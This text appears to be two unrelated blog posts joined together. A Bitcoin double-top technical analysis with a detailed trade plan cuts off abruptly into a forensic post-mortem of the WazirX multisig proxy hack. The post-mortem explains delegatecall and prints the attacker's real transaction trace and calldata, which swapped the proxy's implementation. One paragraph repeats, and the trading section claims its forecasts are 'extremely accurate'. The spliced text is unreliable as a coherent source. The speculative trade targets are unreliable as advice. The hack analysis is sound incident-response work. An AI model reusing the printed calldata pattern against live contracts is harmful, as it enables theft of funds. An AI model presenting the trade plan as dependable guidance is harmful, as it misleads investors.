Confirming the Double Top Formation

Over the past few days and weeks, multiple traders in the crypto space have identified a double top formation on Bitcoin's chart (daily resolution). A careful analysis confirms this observation, which carries significant implications for Bitcoin's price trajectory.

Let's take a look at the main chart to understand why this double top formation has materialized on the daily resolution (which indeed suggests potential bearish movement ahead).

As we can see in the chart above, Bitcoin's price has clearly formed two nearly equivalent localized highs over the past few weeks - a classic double top pattern.

Specifically, the first 'top' occurred on December 18th, 2024 and the second 'top' was on January 22nd, 2025

This double top formation is particularly noteworthy because it meets the key criteria for this pattern. To understand why this is significant, let's review the technical definition of a double top chart formation.

Understanding the Double Top Formation

Per Investopedia, a double top, "is an extremely bearish technical reversal pattern that forms after an asset reaches a high price two consecutive times with a moderate decline between the two highs. It is confirmed once the asset's price falls below a support level equal to the low between the two prior highs."

Per Stockcharts, "After the first peak, there is generally a 10-20% decline. Volume on the decline is inconsequential. The lows are sometimes rounded or drawn out a bit, which can signify tepid demand."

Taking a closer look at the charts, we can confirm that there was a -10 to 20% decline in the price from the first localized top it made to the 'trough' (that support point that the price bounces from before re-testing that same high and getting rejected the second time around).

See below:

As the chart above reflects, the price depreciated -13.09% to test the $93k as a support before returning for a second test of the previous high that had been notched ($106-108k).

Referring back to Stockcharts, the site tells us that, "The subsequent decline from the second peak should witness an expansion in volume and/or an accelerated descent, perhaps marked by a gap or two. Such a decline shows that demand forces are weaker than supply, and a support test is imminent."

More specifically, "The Even after trading down to support, the Double Top Reversal and trend reversal are still incomplete. Breaking support from the lowest point between the peaks completes the Double Top Reversal. This should occur with increased volume and/or accelerated descent."

Let's take a look at our chart again to see whether Bitcoin's price action broke below the support that was tested after the pushback from the first high that was created. If so, then the impact of the Double Top formation is complete (i.e., we can consider the net bearish impact to be wherever the price lands after it breaks south of the support that was formed prior).

Taking a closer look, we can see the price depreciated another -9% once it fell below the support that was created after the push back from the first localized high that was created for this double top formation.

The support that was tested and established when the price fell below the support for this double top chart formation (on the daily resolution), is $87k.

From that point forward, the price made a swift recovery before re-testing that former support as an overhead resistance. When this occurred, the price was successfully pushed back, finalizing all features and traits of a double top chart pattern.

Now the question we have from this point is 'what to expect next?'.

To find out the answer to that, we're going to employ a wide host of custom indicators and tools to help facilitate our reading of Bitcoin's price action via technical analysis. This analysis tends to be extremely accurate (this is verifiable for anyone that elects to look at prior price analyses that have been published on Twitter, Discord, Telegram, TradingView and elsewhere over time).

EMA Indicators Underscore Recent Bearish Price Action

Since EMA indicators are lookback indicators, they aren't necessarily meant to forecast future price action off the strength of these readings (have to be careful to remain aware of this).

If we look at Bitcoin's price action on the daily resolution, we'll see that the EMA-12, EMA-26, EMA-50, EMA-100 and EMA-200 are all at values that are above where Bitcoin is trading at, at the time of writing during this period (daily candle; March 5th, 2025 UTC).

To get a better idea for what I mean, see below:

Above we can see the EMA-12's value is $89,549 while Bitcoin is currently trading at $87,400.

Above, we can see that the EMA-26's value is at $92,548 while Bitcoin is currently trading at $87,400

Above, we can see that the EMA-50's value is at $94,585 while Bitcoin is currently trading at $87,400.

Above, we can see that the EMA-100's value is at $93,028 while Bitcoin is trading at $87,520.

Here, in our only deviation from the pattern established by the other EMA indicators, we can see that Bitcoin is currently trading above the notional value of the EMA-200 on the daily resolution. Specifically, the EMA-200's current value is $85,740 while the price of Bitcoin is still hovering at $87.513 at the time of writing.

Everything we wrote above means a few things. Specifically:

1. Since the EMA-200's value is below where the price is at currently at the time of writing, that's going to serve as another market of support (the value of the EMA's on the daily always serve as either support or resistance points contingent on whether they are above or below the price at that point in time).

2. Following from what we wrote in #1, we can deduce that all of the other EMA values will serve as various overhead resistance points. Among all of them, the strongest resistance will be posed by the EMA-50. Why? Not entirely sure, to be honest. I can just tell you from observation after charting Bitcoin for nearly 10+ years, that the EMA-50 tends to have the strongest impact on price action, whether as an impediment (via overhead resistance) or immobile support (via underlying support).

3. The EMA-50 is still well above the EMA-100 and EMA-200. This means that we're nowhere near double cross territory. That's good, because that would reflect a higher level of bearishness than we'd wanna see (if we're bull market advocates).

With all of that being said, many of the other indicators for Bitcoin on the daily resolution provide a very bullish reflection. Let's take a look at some of those indicators for a second to get a greater feel for where Bitcoin is headed in the not so distant future.

Librehash Reversion Ribbon V2

If we take a look at the Reversion Ribbon (custom indicator) we can see that there was a very faint bullish signal on Bitcoin that appeared recently. But what we can see on the chart from this indicator, currently, is not enough for us to justify entering into a bullish position yet (or a bearish one either).

Check it out below:

As we can see from the chart above:

• The ribbon is currently below the histogram (zero point), which belies bearish price action.

• The ribbon did exhibit a bullish cross over recently (changing the color of the ribbon from red to green). That occurred between March 1st and March 2nd. However, as we can see the bullish divergence that emerged was very short lived.

• Moving forward, we can see that the ribbon has begun converging just one period after it made its bullish crossover with some sizable divergence behind it.

As of right now, there's not really enough information that we can glean from the indicator to say that its forecasting bullish or bearish price action in the near future. However, one thing that we can say is that observation tells us that there's been a ton of bearish price action over the past 2-3 periods.

Specifically, we can see that the green candles are only colored light green (this indicator changes the shade of the candle based on the strength of the underlying price action [i.e., very bullish = green; very bearish = red]). In addition, for those two large daily candles that formed on March 2nd and March 3rd, both were given red outlines. This is essentially our indicator telling us that despite the bullish price action, there was strong underlying bearish sentiment.

Take a closer look below here:

So, thus far, we can say that the Reversion Ribbon v2 isn't dictating any particularly bullish price action.

Let's take a loot at some of our other indicators here (and also speed up this analysis so that we can get to the point a bit quicker as there are other things that we have to get done right now at the time of writing).

Reading the Rest of Our Indicators

We'll start with some of our oscillators to get a better idea of how to forecast Bitcoin's price action in the not so distant future.

Above we can see the Cryptomedication Volatility RSI. Based on how the indicator is meant to be evaluated and read.

Its worth noting the following with this indicator:

1. Volatility Level: The indicator appears to be at a relatively low level, suggesting decreased volatility in Bitcoin's price action currently. As explained in the definition, "as the line nears the bottom, so does volatility."

2. Price Contraction: Since this indicator tracks both expansion/contraction in price and increase/decrease in volatility simultaneously, the current position suggests we're in a period of price contraction.

3. Trend Indication: The Volatility RSI's current trajectory can help identify potential entry/exit points. The relatively low reading suggests we may be approaching a period where a new trend could emerge.

Our Trade Strategy

We have a two pronged strategy that is designed to 'go with the flow' of future price action for Bitcoin.

Bitcoin is currently at a critical juncture following a confirmed double top formation with peaks at $106-108k. Price has broken below the $93k support level and is currently trading at $87,400, positioned between multiple EMA resistances above and the EMA-200 support below. Technical indicators suggest decreased volatility and potential for a new directional move in the near term.

Trading Strategy: Dual Scenario Approach

Scenario 1: Bearish Continuation (Primary Scenario)

Entry Conditions:

• Current price level ($87,400) or on rejection from EMA-12 resistance ($89,583)

• Confirmation: Daily close below $87,000

• Additional validation: Failure of price to reclaim EMA-12 on a retest

Position Management:

• Stop Loss: $89,600 (just above EMA-12)

• Risk per trade: 2.5% of trading capital

• Target 1: $82,000 (25% of position) - R/R ratio: 2.7:1

• Target 2: $78,500 (50% of position) - R/R ratio: 4.5:1

• Target 3: $76,000 (25% of position) - R/R ratio: 5.8:1

Technical Rationale:

• Complete double top formation with break below crucial $93k support

• Price trading below four major EMAs (12, 26, 50, 100)

• Reversion Ribbon below zero with bearish candle coloring

• Recent failed retest of $93k as resistance

• Measured move from double top projects lower prices

Risk Invalidation:

• Daily close above $89,600 (EMA-12)

• Significant increase in Volatility RSI with bullish price action

Scenario 2: Bullish Reversal (Alternative Scenario)

Entry Conditions:

• Price breaks and closes above EMA-12 ($89,583)

• Confirmation: Successful retest of EMA-12 as support

• Additional validation: Volatility RSI showing expansion from low levels

Position Management:

• Entry: $89,700 (after confirmation)

• Stop Loss: $85,700 (just below EMA-200)

• Risk per trade: 2% of trading capital

• Target 1: $92,500 (EMA-26) - 50% of position - R/R ratio: 0.7:1

• Target 2: $94,600 (EMA-50) - 30% of position - R/R ratio: 1.2:1

• Target 3: $98,000 (psychological level) - 20% of position - R/R ratio: 2.1:1

Technical Rationale:

• Price holding above critical EMA-200 support

• No "double cross" in EMAs (EMA-50 still above EMA-100/200)

• Low volatility period (per Volatility RSI) often precedes significant moves

• Potential for contrarian move against obvious bearish pattern

Risk Invalidation:

• Daily close below EMA-200 ($85,740)

• Acceleration of bearish momentum on high volume

Key Price Levels to Monitor

Support Levels:

• $87,000 (Current established support)

• $85,740 (EMA-200) - CRITICAL

• $82,000 (Projected target based on pattern measurement)

• $78,500 (Psychological support near $80,000)

Resistance Levels:

• $89,583 (EMA-12) - IMMEDIATE

• $92,548 (EMA-26)

• $93,000 (Former support, now resistance)

• $94,604 (EMA-50) - STRONG

However, if you have not - then this is going to serve as a brief guide on how they work and what their purpose is. We're also going to cover some of the potential pitfalls and catch 22's associated with upgradable smart contracts. Our rationale for doing so is to provide greater context to the WazirX hack.

Concept of Upgradable Smart Contracts

In general, smart contracts are designed to be 'immutable'. This means that once the smart contract is deployed on the blockchain, whatever code that's written in it is fixed in stone.

Thus, the concept of the 'upgradable' smart contract was introduced to allow developers to 'update' the actual code that gets executed when someone makes a call upon a specific smart contract.

Proxy and Logic Smart Contracts

In order to construct this pipeline, multiple different smart contracts are deployed to operate in concert with one another.

As can be seen in the illustration above, these types of smart contract orchestrations (at least) involve two contracts, which are known as the - proxy contract and implementation contract.

The proxy contract is the 'front-facing' contract where users issue all their calls. Calls made upon the proxy contract then get forwarded to the implementation contract (which holds the business logic of the proxy contract).

This is the part where things get a bit confusing, but I'm going to try my best to break this down (again) in a digestible manner. The first concept we need to grasp is that even though calls are made to the proxy contract, the actual functions that we need to call are likely defined in our implementation contract.

So, for example, if we wanted to transfer an ERC20 token for some sort of DeFi protocol we've set up using this orchestration, then the likely function we'd be calling is a _transfer function.

Below is an example of such:

function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address"); 
    _beforeTokenTransfer(sender, recipient, amount);
    uint256 senderBalance = _balances[sender];
    require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
    _balances[sender] = senderBalance - amount;
    _balances[recipient] += amount;
    emit Transfer(sender, recipient, amount);
    _afterTokenTransfer(sender, recipient, amount);
}

As we can see above, the _transfer function is fully defined above. This function exists within the implementation contract. However, this is not the contract that we're going to be making a call on directly.

Below is an example of a (very basic) proxy contract that could be associated with the example implementation contract provided above.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

contract MyTokenProxy is TransparentUpgradeableProxy {
    constructor(address _logic, address admin_, bytes memory _data)
        TransparentUpgradeableProxy(_logic, admin_, _data)
    {}
}

As we can see in the proxy contract above, there are no functions governing the _transfer function. However, if we did want to transfer tokens in this orchestration, then we would be making that call on this proxy contract here.

How the Fallback Function Works

Every Ethereum smart contract contains something called a 'fallback' function. Essentially, this function is triggered in either of the two following conditions:

1. Ethereum is sent to a smart contract without any associated data.

2. A function is called on a smart contract that isn't defined in said smart contract.

Below is a very basic example implementation of a generic smart contract that contains a fallback function (which typically is not defined or labeled as 'fallback' within the smart contract).

Check it out below:

pragma solidity ^0.8.0;

contract ExampleContract {
    event FallbackCalled(address sender, uint amount, bytes data);

    // FALLBACK FUNCTION!!!
    fallback() external payable {
        emit FallbackCalled(msg.sender, msg.value, msg.data);
    }
}

What the Smart Contract Does When the Fallback Function is Triggered: It emits the FallbackCalled event, logging the sender’s address (msg.sender), the amount of Ether sent (msg.value), and any data sent with the transaction (msg.data).

Quick Dirty on Fallback Functions:

1. They have no need for a name.

2. They can be externally called.

3. Per contract, there can only be one or zero fallback functions.

4. The functions are automatically triggere dwhen called by another contract given that the called function has no name.

5. The functions also allow for arbitrary logic to be included.

6. It can also be triggered if a token(s) is sent to a contract that has fallback functions with no declared receive() function and no accompanying calldata.

Source: *https://info.etherscan.com/what-is-a-fallback-function/

Breaking Down the Infamous DelegateCall

The most important facet of the smart contract upgradable proxy pattern that we're going to focus on in this piece is the delegatecall function.

As noted before, whenever interacting with a smart contract orchestration that utilizes the proxy upgradable pattern, the proxy is going to serve as a the front-facing contract that users interact with. Calls made upon this contract are typically done based on the logic contained within the implementation contract that the proxy forwards calls to (via the fallback function, however that's setup in the proxy).

This is where the delegatecall function becomes relevant (making it the most relevant function that we're going to focus on here).

In the context of a proxy smart contract in Ethereum, the delegatecall function is a low-level function that allows a contract to execute code from another contract while preserving the context (i.e., msg.sender, msg.value, and storage) of the calling contract.

Here's a detailed breakdown of how delegatecall is used within a proxy contract:

1. Proxy Pattern: The proxy pattern involves a proxy contract that does not contain the actual business logic but instead forwards calls to another contract (often referred to as the implementation or logic contract). This pattern is commonly used for upgradability, where the logic contract can be replaced without changing the proxy contract's address.

2. Preserving State: When using delegatecall, the storage of the proxy contract is used instead of the storage of the logic contract. This means that any state changes made by the logic contract will affect the proxy contract's storage.

3. Execution Context: The delegatecall function ensures that the msg.sender and msg.value remain the same as if the call was made directly to the proxy contract. This is important for maintaining the correct context, especially for access control and payment forwarding.

4. Function Call Forwarding: In a typical proxy contract implementation, the fallback function is overridden to use delegatecall to forward any call to the logic contract.

Below is an example of a smart contract that contains the relevant delegatecall functionality within the fallback function of the proxy:

pragma solidity ^0.8.0;

contract Proxy {
    address public implementation;

    constructor(address _implementation) {
        implementation = _implementation;
    }

    fallback() external payable {
        address _impl = implementation;
        require(_impl != address(0), "Implementation contract not set");

        // Delegate the call to the implementation contract
        (bool success, ) = _impl.delegatecall(msg.data);
        require(success, "Delegatecall failed");
    }

    // Optional: receive function to handle plain ether transfers
    receive() external payable {}
}

In this example:

• The implementation address is set to point to the logic contract.

• The fallback function is defined to catch all calls to the proxy contract and forward them to the logic contract using delegatecall.

• The msg.data is passed to the logic contract, which contains the function selector and arguments for the intended function call.

5. Upgradability: The proxy contract can be upgraded by changing the implementation address to point to a new logic contract. This allows the proxy contract to forward calls to the new logic contract without changing the proxy's address, thereby preserving the contract's state and external interfaces.

Looking at an Example (WazirX 2) Implementation of the Proxy Upgradable Smart Contract Pattern

Relevantly, WazirX - the Indian cryptocurrency exchange that recently suffered a $230 million smart contract exploit, had employed a proxy upgradable structure to govern the custody and transfer of their Ethereum assets.

However, to give us some better context and understanding on how such a smart contract orchestration works in practice, we're going to look at one of their pre-hack transactions.

Specifically this one:

https://etherscan.io/search?q=0xfa377a00729d54d167ebbc37a42f040c9237c56ade00843f1cc24421e2bf2d81

Please note that WazirX's smart contract (0x27fD43) is the proxy contract for their upgradable proxy pattern implementation.

If we take a look at the 'internal txns' (internal transactions) panel provided on Etherscan for this specific transaction, we'll see that a delegatecall was triggered by this transaction.

To be clear, in this specific transaction, there are two delegatecall made to two different smart contracts.

The first one (at the bottom), here governs the transfer of $USDC (which is also orchestrated by an upgradable proxy smart contract pattern).

When WazirX attempts to transfer USDC using their upgradable proxy, the following sequence of calls occurs:

1. First Call to the WazirX Proxy Contract: - You initiate a call to your proxy contract to perform the USDC transfer. - Your proxy contract uses delegatecall to forward this call to its implementation contract.

2. Call to USDC Proxy Contract: - The implementation contract of your proxy contract contains the logic to transfer USDC. - This logic involves calling the USDC contract to perform the transfer. - If the USDC contract is also a proxy (which it is), it will use delegatecall to forward the call to its own implementation contract.

Below is a more detailed look at the transaction as presented on the site 'Tenderly':

Specifically we can see that the fallback function that gets triggered in the WazirX proxy contract is the following:

/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
    // solhint-disable-next-line no-inline-assembly
    assembly {
        let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
        // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
        if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
            mstore(0, _singleton)
            return(0, 0x20)
        }
        calldatacopy(0, 0, calldatasize())
        let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
        returndatacopy(0, 0, returndatasize())
        if eq(success, 0) {
            revert(0, returndatasize())
        }
        return(0, returndatasize())
    }
}

Or as seen below:

There are some other functions of interest that we're going to take a look at in the actual exploit analysis. But for now this brief guide should serve as sufficient context for the upgradable proxy smart contract pattern to help provide an understanding for those looking to get a better grasp of how WazirX was compromised.

1. The address of the logic contract / implementation is 0xd9db270c1b5e3bd161e8c8503c55ceabee709552. That contract was created at TX 0x0b04589bdc11585fb98f270b1bfeff0fb3bbb3c56d35b104f62d8115d6f7c57f at block 12504268`. This is a smart contract created by Gnosis Safe and used as an implementation proxy address for another smart contract that was exploited by the proxy storage address.

2. The address for the proxy smart contract address that was compromised was 0x27fD43BABfbe83a81d14665b1a6fB8030A60C9b4 and that was created by the transaction ID 0x3c889ee7c1a19bb15d899f21c5c7d9da0af0c5a5f597f0e288b7309169b4dba5 and deployed by 0xD7Df5bf3B8d2bd159664dF54A30101d7FAF6cA26 by making a call on the smart contract 0x4e59b44847b379578588920cA78FbF26c0B4956C to deploy the smart contract address which is labeled as singleton. The address responsible for deploying this contract is 0xfA54B4085811aef6ACf47D51B05FdA188DEAe28b at block height 16132578 and it was deployed from the Gnosis Safe Factory contract located at 0xfA54B4085811aef6ACf47D51B05FdA188DEAe28b.

3. When the smart contract storage proxy address 0x27fD43BABfbe83a81d14665b1a6fB8030A60C9b4 was created, it established 5 different owners. Those owners are 0xaE648f68823bc164CA3ad1f5f5dC0057d9d515aD, 0x10F16CdE93f1bC9C38a9e31C8DB0eEb89a744824, 0xD83b89E261D02B0f2f9E384B44907f8d380E9AF0, 0x9AF78003CecC2383d9D576A49c0C6b17fc34Ae34 and 0xfA54B4085811aef6ACf47D51B05FdA188DEAe28b. The threshold for this multi-signature address was established as 3. The initializer was 0x0000000000000000000000000000000000000000 and the address for the smart contract designated as the fallbackHandler was 0xf48f2B2d2a534e402487b3ee7C18c33Aec0Fe5e4. This transaction also designated 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552 as the singleton for this address. The singleton is the logic proxy address that we're examining that serves as the main address.

4. The transaction that ultimately compromised both smart contracts in question occurred at transaction ID: 0x48164d3adbab78c2cb9876f6e17f88e321097fcd14cadd57556866e4ef3e185d. The sender of the transaction was an EOA with the address 0xd967113224c354600b3151e27aaba53e3034f372 at block height 20331565. The transaction involved a delegatecall being made to the singleton smart contract at 0xd9db270c1b5e3bd161e8c8503c55ceabee709552 (which is our flattened smart contract) before eventually calldata was forwarded to a malicious smart contract address located at 0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2. This EOA (0xd967113224c354600b3151e27aaba53e3034f372)was added as an owner to the 0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4 smart contract in February 2023 during transaction ID: 0xfda0801c5f916fc17d042a8297af15ccdfa91bc12d530fda4708c159e992b19a. The multi-signature threshold was subsequently raised to 4 afterward.

The source code for all smart contracts involved in the creation of the two proxy smart contracts that I mentioned (0x27fD43BABfbe83a81d14665b1a6fB8030A60C9b4 and 0xd9db270c1b5e3bd161e8c8503c55ceabee709552) are verified on Etherscan already. Thus, if there is any additional information that is needed then that can be obtained from the blockchain directly.

It is known that none of the keys involved in the multi-signature orchestration were compromised at any point in time and this has been independently verified after the fact. Thus, the flaw, vulnerability or exploit must be laden within the smart contracts themselves. Since the logic within the main proxy (0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4) is nominal at best, we have decided to set our focus on dissecting the singleton contract that was associated with the deployed proxy from Gnosis Safe.

During the malicious transaction we observed that the storage data in slot 0 was updated for the main proxy. This update swapped out the legitimate singleton contract for a malicious one at 0xef279c2ab14960aa319008cbea384b9f8ac35fc6. The malicious contract that was responsible for returning data back to the main proxy, resulting in an update of that proxy's singleton address value in slot 0 is at the address 0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2. The bytecode for both malicious contracts is not verified or available on Etherscan. Therefore, any and all attempts to dissect the true nature of these smart contracts will be contingent on the efficacy of associated bytecode disassemblers.

That transaction can be found here. The transaction itself is highly complex and reveals a lot of potential issues in the Safe contract deployment (yes, those guys formerly known as Gnosis Safe).

Before we make anymore assertions about the nature of the hack, let's go ahead and take a look at the malicious transaction, starting with Etherscan's view.

As we can see, it appears that the transaction was initiated by the 0xd967 address - which we've already established as belonging to the team.

The transaction was sent directly to the 0x27fD address, which is the WazirX team's main proxy. As we've discussed in a (separate guide), the specific proxy upgradable orchestration that WazirX used involves deploying a unique proxy from a "factory contract" (which served as the 'template' for their proxy).

However, the other associated contracts (i.e., their implementation/singleton & fallback handler) are Gnosis Safe deployments. They were never deployed or owned by the team. Thus, any compromise arising out of the functionality of those contracts should also be attributed to the Safe team (more specifically for their failure to make it a widespread imperative for users to upgrade to better constructed implementations).

Getting back to the malicious transaction, let's take a look at the internal transaction trace that the malicious transaction created:

As we can see abvoe, the entry point was the team's proxy contract with a function call that triggered the contract's fallback function, ultimately leading to a call being delegated to a malicious proxy contract (0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2)

Moving forward, let's see if we can't glean more information about the nature of this attack by looking at a simple stack execution trace of the actual compromise.

Check out the parity stack trace below (you can find this on Etherscan too):

  {
    "action": {
      "from": "0xd967113224c354600b3151e27aaba53e3034f372",
      "callType": "call",
      "gas": "0x2c9f8",
      "input": "0x6a761202000000000000000000000000fbffef83b1c172fe3bc86c1ccb036ab9f3efcaf20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000000000000000000000000000000024804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001043da7c6bd7c130430cf662de3d9af067c4a0629f849e29003c40ad3979cd670720c3ceb3a61e38fb7166353e3262eb6554c3f6571807cf22f9bdc4a83a56441661f8e64a89386af2f223b8433a1df65db8f0ff60544b2f02c56ec02b640d6fb15a11f7dffda5b99b0292b5e02d0cc44508d7d8f994515358e9da3016d8098b2258820000000000000000000000000d967113224c354600b3151e27aaba53e3034f37200000000000000000000000000000000000000000000000000000000000000000140082eba0f71627a3451d47132b8f4c266bc9be2bebe4424848757d10f13e76963af0b543a2357765d9f290410e919301ad065f0f2efa1233eb8634c93111f0e2000000000000000000000000000000000000000000000000000000000",
      "to": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
      "value": "0x0"
    },
    "blockHash": "0xf0716718399afb665776df3378a2bc7c1ff02c03a40af8d6471193b1611b873b",
    "blockNumber": 20331565,
    "result": {
      "gasUsed": "0xb4eb",
      "output": "0x0000000000000000000000000000000000000000000000000000000000000001"
    },
    "subtraces": 1,
    "traceAddress": [],
    "transactionHash": "0x48164d3adbab78c2cb9876f6e17f88e321097fcd14cadd57556866e4ef3e185d",
    "transactionPosition": 21,
    "type": "call"
  },
  {
    "action": {
      "from": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
      "callType": "delegatecall",
      "gas": "0x2abe6",
      "input": "0x6a761202000000000000000000000000fbffef83b1c172fe3bc86c1ccb036ab9f3efcaf20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000000000000000000000000000000024804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001043da7c6bd7c130430cf662de3d9af067c4a0629f849e29003c40ad3979cd670720c3ceb3a61e38fb7166353e3262eb6554c3f6571807cf22f9bdc4a83a56441661f8e64a89386af2f223b8433a1df65db8f0ff60544b2f02c56ec02b640d6fb15a11f7dffda5b99b0292b5e02d0cc44508d7d8f994515358e9da3016d8098b2258820000000000000000000000000d967113224c354600b3151e27aaba53e3034f37200000000000000000000000000000000000000000000000000000000000000000140082eba0f71627a3451d47132b8f4c266bc9be2bebe4424848757d10f13e76963af0b543a2357765d9f290410e919301ad065f0f2efa1233eb8634c93111f0e2000000000000000000000000000000000000000000000000000000000",
      "to": "0xd9db270c1b5e3bd161e8c8503c55ceabee709552",
      "value": "0x0"
    },
    "blockHash": "0xf0716718399afb665776df3378a2bc7c1ff02c03a40af8d6471193b1611b873b",
    "blockNumber": 20331565,
    "result": {
      "gasUsed": "0xa187",
      "output": "0x0000000000000000000000000000000000000000000000000000000000000001"
    },
    "subtraces": 1,
    "traceAddress": [
      0
    ],
    "transactionHash": "0x48164d3adbab78c2cb9876f6e17f88e321097fcd14cadd57556866e4ef3e185d",
    "transactionPosition": 21,
    "type": "call"
  },
  {
    "action": {
      "from": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
      "callType": "delegatecall",
      "gas": "0x214ec",
      "input": "0x804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc6",
      "to": "0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2",
      "value": "0x0"
    },
    "blockHash": "0xf0716718399afb665776df3378a2bc7c1ff02c03a40af8d6471193b1611b873b",
    "blockNumber": 20331565,
    "result": {
      "gasUsed": "0xc2e",
      "output": "0x"
    },
    "subtraces": 0,
    "traceAddress": [
      0,
      0
    ],
    "transactionHash": "0x48164d3adbab78c2cb9876f6e17f88e321097fcd14cadd57556866e4ef3e185d",
    "transactionPosition": 21,
    "type": "call"
}

Later on, we’re going to go ahead and dissect the bytecode that was sent to the malicious contract and walk through how the opcodes operated on said calldata, step by step to get a better understanding of how this compromise took place.

While this raw trace (parity) is far from complete in terms of what it does for us, it does provide us with some preliminary information that can begin to give us an understanding of how this hack took place:

1. The initial 'action' (i.e., function call) is noted as coming from the 0xd967 address (more on what this means later and how the hackers could have possibly done this).

2. That call - which was made to the WazirX main proxy (0x27fd4), triggered the proxy's fallback function, which will always be a delegatecall by default (that's how proxies are designed). For those new to the world of smart contract hacks, compromises, rugpulls etc., this opcode is one of the most problematic ones in the entire EVM system.

3. The first 4 bytes of the calldata tell us what function was being called. If you look back at the json stack execution trace that's printed above, you can identify the calldata as that large hexadecimal value next to the topic called "input". If you found it, then you'll notice the first 8 characters (4 bytes) after the 0x prefix are 6a761202. This hexadecimal value corresponds with the function that was called by the hacker. A quick lookup in a database like 4bytes or evm.codes reveals that this hexadecimal value corresponds with the function signature execTransaction(address,uint256,bytes,uint8,uint256,uint256uint256,address,address,bytes).

4. The calldata that was ultimately sent to the malicious proxy was 0x804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc6. There have been some attempts to dissect the meaning of this calldata already in the general public. But thus far, most analyses fall woefully short of breaking down the potency of this short, yet simply crafted calldata value.

What makes this hack so intriguing is its complexity. Despite all we've covered thus far, we've still barely scratched the surface in terms of how exactly the threat actor was able to compromise WazirX. But without any further deliberation, let's move forward here. A better breakdown of this transaction is going to require us decompiling the bytecode behind the calldata or piping the transaction itself into a high-quality debugger.

Before we do that, we’re going to need to get a more detailed view of the stack execution trace. This is going to require us going through a debugger similar - either via the terminal or through the use of an online tool that we can use like ‘Tenderly’, ‘Sentio’ or ‘Phalcon’. The latter two of those three online tools are entirely free while Tenderly requires that we at least sign up to obtain a trial subscription (14 days) before payment is necessary. All of them come with their own specific benefits. For those that are not as comfortable with using the terminal, we’re going to go ahead and see

Fortunately, there are plenty of tools in the Ethereum ecosystem that will allow us to do either. And those tools cater to both developers and folks that aren't as comfortable with navigating a terminal. Let's start with the 'terminal' approach.

Before we do that, we’re going to need to get a more detailed view of the stack execution trace. This is going to require us going through a debugger similar - either via the terminal or through the use of an online tool that we can use like ‘Tenderly’, ‘Sentio’ or ‘Phalcon’. The latter two of those three online tools are entirely free while Tenderly requires that we at least sign up to obtain a trial subscription (14 days) before payment is necessary. All of them come with their own specific benefits. Since most users are not quite as well-versed with the terminal, we’re going to go ahead and look at those latter two visual debuggers.

Disclaimer: To be clear, the best debugger (in the author's opinion), would be Tenderly since it tends to give us the most accurate decoding of the stack execution trace, step by step. Misinterpretations of some of the steps as well as the sub-steps are what lead to differing outputs as far as the debuggers are concerned.

Sentio Debugger

For those that have never visited this site, you can find its main interface here: https://app.sentio.xyz.

They may ask you to signup on the main website. If you want to bypass this step, just go ahead and visit this link here: https://app.sentio.xyz/tx/1/0x48164d3adbab78c2cb9876f6e17f88e321097fcd14cadd57556866e4ef3e185d?t=1&block=0x131fe81 ; this will take you directly to the malicious transaction in question without being forced to sign-up or login to the website.

Once you arrive at the panel for the malicious transaction, you should see the following:

From here, we're going to take a look at some of the panels at the bottom, which go by the names of Call Trace, Call Graph and Gas Profiler (we're not quite as interested in the last tab, but we may take a breeze through it for good measure).

Call Trace Panel

If you're not used to looking at transaction traces, this may be a bit overwhelming at first, but don't worry - we'll make ourselves familiar with the context shortly

Upon firs visiting the Call Trace panel on the Sentio site for the malicious transaction, we should see the following at the bottom half of the page.

Its worth noting that definition for a 'Stack Call Trace' given in the top right corner of our screenshot above. Specifically, it states, "In a smart contract transaction, a static call (also known as a view or constant call) is a read-only operation that retrieves data from the blockchain without modifying any state. This means that a static call does not change the state of the blockchain or of the smart contract being called."

That's how we're able to get that stack execution trace that we see below (keep in mind, this still isn't the debugged version of the transaction). Some of the data here won't be entirely accurate and there are also some parts of the data that we need to further decode in order to get the "decoded" version.

Tenderly Debugged Transaction

Tenderly is probably the best platform to use if you want to not only get a thorough transaction trace but a fully debugged, stepped re-simulation of the transaction itself as well

